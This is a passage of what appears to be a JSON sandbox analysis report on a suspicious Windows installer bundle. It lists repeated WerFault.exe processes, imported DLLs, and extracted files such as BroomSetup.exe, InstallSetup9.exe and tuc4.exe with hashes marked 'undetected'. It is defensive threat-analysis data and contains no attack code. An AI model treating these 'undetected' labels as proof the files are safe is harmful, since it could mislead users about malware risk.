560","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00005060","uid":"00000000-00008680"},{"pid":7772,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 460 -p 5060 -ip 5060","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007772","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7892,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 508 -p 5516 -ip 5516","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007892","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6088,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 508 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006088","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":9000,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 508 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00009000","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3976,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 464 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003976","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":8940,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 512 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00008940","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":8908,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 512 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00008908","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5660,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 500 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005660","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":8864,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 500 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00008864","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7404,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 500 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007404","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7152,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 500 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007152","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7548,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 532 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007548","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7240,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 536 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007240","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6224,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 536 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006224","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":8556,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 544 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00008556","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6540,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 504 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006540","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":9148,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 568 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00009148","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5684,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 548 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005684","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6328,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 548 -p 8600 -ip 8600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006328","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["netutils.dll","ulib.dll","wbemsvc.dll","fastprox.dll","edputil.dll","Windows.StateRepositoryPS.dll","oleacc.dll","cscapi.dll","CoreMessaging.dll","propsys.dll","cryptbase.dll","oleaut32.dll","vcruntime140_clr0400.dll","nsi.dll","ExplorerFrame.dll","kernel32.dll","ucrtbase_clr0400.dll","System.Core.ni.dll","sspicli.dll","sechost.dll","winhttp.dll","netapi32.dll","colorui.dll","msimg32.dll","cryptsp.dll","version.dll","clrjit.dll","uxtheme.dll","IPHLPAPI.DLL","_iscrypt.dll","logoncli.dll","wininet.dll","samlib.dll","msvcrt.dll","mswsock.dll","compstui.dll","INETRES.dll","GdiPlus.dll","cfgmgr32.dll","imagehlp.dll","msctf.dll","mscms.dll","AppxSip.dll","iertutil.dll","CoreUIComponents.dll","tiptsf.dll","crypt32.dll","advapi32.dll","kernel.appcore.dll","mscorlib.ni.dll","urlmon.dll","shfolder.dll","comdlg32.dll","fsutilext.dll","wow64cpu.dll","ucrtbase.dll","gdi32full.dll","wbemcomn.dll","KernelBase.dll","fltLib.dll","clr.dll","psapi.dll","sfc_os.dll","System.ni.dll","aepic.dll","winnsi.dll","comctl32.dll","wbemprox.dll","combase.dll","WindowsCodecs.dll","msvcp_win.dll","cldapi.dll","clbcatq.dll","samcli.dll","msvcr100.dll","ws2_32.dll","shlwapi.dll","winsta.dll","xmllite.dll","wow64win.dll","bcrypt.dll","WinTypes.dll","taskschd.dll","wow64.dll","setupapi.dll","wkscli.dll","cmdext.dll","ntdll.dll","win32u.dll","ole32.dll","ntmarta.dll","INetC.dll","msasn1.dll","wbemdisp.dll","windows.storage.dll","powrprof.dll","SHCore.dll","profapi.dll","srvcli.dll","dsrole.dll","userenv.dll","OnDemandConnRouteHelper.dll","VxSSL32.dll","mpr.dll","sfc.dll","OpcServices.dll","user32.dll","dwmapi.dll","wmiutils.dll","_isdecmp.dll","bcryptprimitives.dll","apphelp.dll","mscoreei.dll","shell32.dll","msIso.dll","gdi32.dll","imm32.dll","TextInputFramework.dll","rpcrt4.dll","wtsapi32.dll","mscoree.dll","Telemetry.dll","oleaccrc.dll","msvcp140.dll","lpk.dll","dnsapi.dll","api-ms-win-core-processthreads-l1-1-1.dll","_shfoldr.dll","webio.dll","rasadhlp.dll","nss3.dll","mscorrc.dll","WSHTCPIP.DLL","api-ms-win-core-timezone-l1-1-0.dll","secur32.dll","api-ms-win-crt-heap-l1-1-0.dll","netmsg.dll","devobj.dll","rsaenh.dll","npmproxy.dll","GROOVEEX.DLL","wship6.dll","FWPUCLNT.DLL","nlaapi.dll","RpcRtRemote.dll","vcruntime140.dll","api-ms-win-crt-filesystem-l1-1-0.dll","duser.dll","devrtl.dll","api-ms-win-downlevel-user32-l1-1-0.dll","dhcpcsvc.dll","wsock32.dll","ktmw32.dll","ncrypt.dll","api-ms-win-crt-utility-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","api-ms-win-crt-string-l1-1-0.dll","ntshrui.dll","ntdsapi.dll","api-ms-win-downlevel-version-l1-1-0.dll","EhStorShell.dll","shdocvw.dll","dhcpcsvc6.dll","api-ms-win-crt-stdio-l1-1-0.dll","api-ms-win-crt-convert-l1-1-0.dll","api-ms-win-crt-multibyte-l1-1-0.dll","mozglue.dll","api-ms-win-core-localization-l1-2-0.dll","linkinfo.dll","rpcss.dll","Wldap32.dll","wshqos.dll","winbrand.dll","cabinet.dll","msvcp90.dll","ATL90.dll","SearchFolder.dll","tzres.dll","FileSyncShell.dll","api-ms-win-crt-environment-l1-1-0.dll","dui70.dll","api-ms-win-core-xstate-l2-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","api-ms-win-crt-math-l1-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","api-ms-win-crt-runtime-l1-1-0.dll","normaliz.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","msvcr110.dll","LoggingPlatform.dll","msvcr90.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","GrooveIntlResource.dll","RstrtMgr.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","netprofm.dll","slc.dll","usp10.dll","imageres.dll","winmm.dll","api-ms-win-core-file-l1-2-0.dll","browcli.dll","msvcp110.dll","sxs.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Task.bat","sha256":"0aac4703993b76877110f374fdf0fc1481d5ea7a8dfd3f4afd2c08837090a2e5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"aviformattertool.exe","sha256":"481816a367fb981a94c91ff8e1bead07f70a5f22d3d52fd260f345ff3dbed4f8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"is-4M261.tmp","sha256":"b6e2fa50e0be319104b05d6a754fe38991e6e1c476951cee3c7ebda0dc785e02","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-5BQCL.tmp","sha256":"d2074b91a63219cfd3313c850b2833cd579cc869ef751b1f5ad7edfb77bd1edd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-AMMN6.tmp","sha256":"2581a6bca6f4b307658b24a7584a6b300c91e32f2fe06eb1dca00adce60fa723","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-F1GN9.tmp","sha256":"59cbfba941d3ac0238219daa11c93969489b40f1e8b38fabdb5805ac3dd72bfa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-FEENV.tmp","sha256":"6bad60df9a560fb7d6f8647b75c367fda232bdfca2291273a21179495dac3db9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"288c47bbc1871b439df19ff4df68f076.exe","sha256":"2a227f3572db255116066570f168c609e433351541508a55b6b83c1c5a0697fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"BroomSetup.exe","sha256":"50a46b3120da828502ef0caba15defbad004a3adb88e6eacf1f9604572e2d503","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"InstallSetup9.exe","sha256":"703e3efac22ad8f56c659e0b6f594fe78145170f13a1cc1659576f14e745c5a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"_iscrypt.dll","sha256":"2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"tuc4.exe","sha256":"8cfdf1c68bee21c712fd3e94c1e01141cfaf218e3d0edba08ecd9697aa4a62f1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"is-0QOJT.tmp","sha256":"124f210c04c12d8c6e4224e257d934838567d587e5abaea967cbd5f088677049","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"